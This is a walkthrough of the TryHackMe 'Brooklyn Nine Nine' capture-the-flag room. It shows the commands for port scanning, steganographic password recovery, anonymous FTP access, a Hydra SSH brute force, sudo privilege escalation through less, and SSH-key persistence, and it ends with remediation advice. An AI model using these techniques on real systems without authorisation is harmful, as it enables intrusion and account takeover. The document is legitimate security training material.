Brooklyn Nine Nine CTF | Walkthrough
This is a Walkthrough for the Brooklyn Nine Nine Capture The Flag TryHackMe room. The writeup is meant to offer short and concise solutions by using a bigger font and titling as “Task Number”, but also offering an extended explanation as subheaders for those interested in finding out more about the solution to a specific task.
Starting
Let's start with the basics – enumerate the open ports in the target. Let's use nmap.
nmap -sV MACHINE_IP
Host is up (0.00020s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel index page:
We find three open ports with three services: SSH, FTP, and a web server. I tried enumerating the web server's directories to see if there was something of interest, but it only contains a background image.
Task 1: User flag
Because there was nothing but the index, any hint must be in the page itself.
- Check the web server's main page's source. Alternatively, open developer tools and inspect the index, you will find the following comment:
Have you ever heard of steganography?Nice hint. So the background image might not be just a background image... In the source page we will find the following line: **background-image: url("brooklyn99.jpg");** The fact that url() specifies the image directly means that it can be found in the same path we're at right now. 2. Download the background image I used wget for this. ``` wget http://MACHINE_IP/brooklyn99.jpg ``` 3. Use steganography to uncover the secret behind the image. I decided to use **stegseek** ***Note**: I was using TryHackMe's Attackbox. Stegseek, however, is not included in the Attackbox - I had to install it, as the steganography tool that was available has been deprecated.* ``` stegseek brooklyn99.jpg ``` We get the following message:
[i] Found passphrase: "[REDACTED]"
- Decode the image with the password we found. I used https://futureboy.us/stegano/decinput.html to do this.
This shows us the following message:
Holts Password:[REDACTED]
Enjoy!!
Time to get access.
- Gain access the target *According to the creator, there are two ways to gain access. I assume this is either directly through SSH with holt's password or the long way around, with the password of the user we will find right now. I chose the long way around:* We will do this with the FTP port we found.
ftp MACHINE_IP
It will tell us that the server only accepts anonymous connections. Let's attempt a new connection, with “anonymous” as the user.
ftp> open MACHINE_IP
Connected to MACHINEIP. 220 (vsFTPd 3.0.3) Name (MACHINEIP:root): anonymous 331 Please specify the password. Password: 230 Login successful.
- Examine the server's contents with the dir FTP command.
ftp> dir
200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r—r— 1 0 0 119 May 17 2020 notetojake.txt 226 Directory send OK.
- Download the contents with the get FTP command.
ftp> get note_to_jake.txt
The file says the following:
From Amy, Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
Now we know a way to actually access to the system. Assuming Amy and Jake are both existing users, and Amy is telling us Jake has a weak password, let us see if we can brute-force Jake's password.
- Attempt to gain access through SSH by brute-forcing Jake's password. I will use Hydra for this.
hydra -l jake -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh
It took Hydra about one second to find it. So, knowing the password:
- Log in to the system with Jake's password.
ssh jake@MACHINE_IP
- Find the User flag. You can look for it manually, or use the following command:
find /home/ -name user.txt 2>/dev/null
Task 2: Root flag
To access the Root flag (likely at /root/) we will need root access.
- Find a way to escalate privileges. Check what can the current user run as root.
sudo -l -l
We get the following information:
Matching Defaults entries for jake on brooklyninenine: envreset, mailbadpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User jake may run the following commands on brooklyninenine:
Sudoers entry: RunAsUsers: ALL Options: !authenticate Commands: /usr/bin/less
So, it seems jake can run less as root.
- Find a way to exploit this vulnerability. I searched GTFObins and found the following command:
sudo less /etc/profile !/bin/sh
This, indeed, allowed us to escalate privilege and act as the root user.
- Find the root flag.
find / -name root.txt 2>/dev/null
Eventually, we will find where root.txt is located. It contains the following message:
- Creator : Fsociety2006 -- Congratulations in rooting Brooklyn Nine Nine Here is the flag: [REDACTED] Enjoy!!
Congratulations! The room is finished.
Optional: Persistence and Better Shell
What would happen if Holt and Jake change passwords? This method will no longer work. How do we bypass this? Persistence. Also, the terminal we get by escalating privileges with GTFOBINS is quite rudimentary (no tabbing functionality!). How do we fix this? With a *“better shell”.*
Persistence
The most direct way to achieve persistence (for this room) would be by using SSH keys. We will leave our public SSH key in the ./ssh/authorized_keys file of the target machine. 1. Have access to the target machine. 2. Generate SSH keys on your machine. This is done with the ssh-keygen command. By default, the algorithm used is RSA. Using this command will create a public and a private key, named id_rsa.pub and id_rsa, respectively. 3. Change permissions on the idrsa file to 600 or higher. This is done with the chmod command. This is because only the owner of the key should be able to read or overwrite it, otherwise SSH ignores it and forces you to connect with a password instead. 4. Copy the contents of **idrsa.pub** to the ./ssh/authorized_keys file in the target machine. This file essentially tells the target's server to “trust everyone that connects with these keys.” 5. Connect to the target's SSH server with your private SSH key, this is done with the following command:
ssh -i /path/to/id_rsa user@target
You will be able to log in as any user with this method, and you won't be asked for a password at any time. Furthermore, because we are connecting through SSH, we have now a “better shell.”
The target can still find out about this, and remove our key from authorized_keys. We can add a reverse shell as a cronjob on their machine, and just set up a listener on our machine when necessary, but this is already exceeding the scope of this room, so we'll leave it here.
How it could have been avoided
There were several vulnerabilities we took advantage of in this machine. Let us list them and give one solution to each: – Disable sensitive ports when not used: the FTP and SSH ports should have been closed if they were not in use, as this is how we accessed the system. If they cannot be closed, add filters based on necessity, as this would have significantly decreased the chances of intrusion. – Store passwords safely: the attack worked because holt's password, despite being considered “very strong” by today's standards, was stored in plaintext. Even if “hidden” by steganography, it is not particularly difficult to find them, and once we have the password, it can be used to get into the system. Passwords should be stored with a safe hashing algorithm, and salted. – Enforce strong password policies: CRUCIAL! jake's password was very weak. It took Hydra about one second to crack it. While “note to Jake” was a great hint, it was a matter of time before it was discovered. If jake had a strong password, we could have not have used the method we used to break into the system. Strong passwords have a combination of numbers, lowercase and uppercase letters, and symbols, and are at least 16 characters long. – Review security configurations: do not allow anonymous access to FTP servers that contain sensitive files (even if what we found was “just” a note, we used this note as a hint to gain access). Do not allow unprivileged users to run files as root – this is how we escalated privileges. If these misconfigurations had not been in place, we would've not been able to gain access like we did.